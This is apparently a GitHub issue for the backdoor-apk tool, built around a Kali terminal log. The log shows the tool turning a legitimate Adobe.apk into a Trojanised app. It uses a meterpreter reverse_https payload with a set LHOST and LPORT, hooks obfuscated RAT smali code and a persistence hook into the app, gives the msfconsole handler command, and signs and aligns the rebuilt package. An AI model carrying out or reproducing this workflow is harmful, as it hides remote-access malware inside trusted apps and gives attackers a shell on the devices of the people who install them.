Failed to sign recompiled APK about backdoor-apk HOT 2 CLOSED

root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh Adobe.apk 
          ________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.1.9 on Tue Jan 24 12:11:23 EST 2017
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk# sha256sum Adobe.apk 
cddde3fb5d64832e4012017961c87536fa52ec55dd87815b9a7410b4f44d3c90  Adobe.apk
root@kali:~/Code/github/backdoor-apk/backdoor-apk#

Running backdoor-apk at Sun Jan 22 08:31:28 PST 2017
/usr/local/bin/msfvenom
/usr/bin/d2j-dex2jar
/usr/bin/unzip
/usr/bin/keytool
/usr/bin/jarsigner
/usr/bin/apktool
third-party/proguard5.2.1/lib/proguard
third-party/android-sdk-linux/build-tools/23.0.3/dx
third-party/android-sdk-linux/build-tools/23.0.3/zipalign
Archive:  ../../share.apk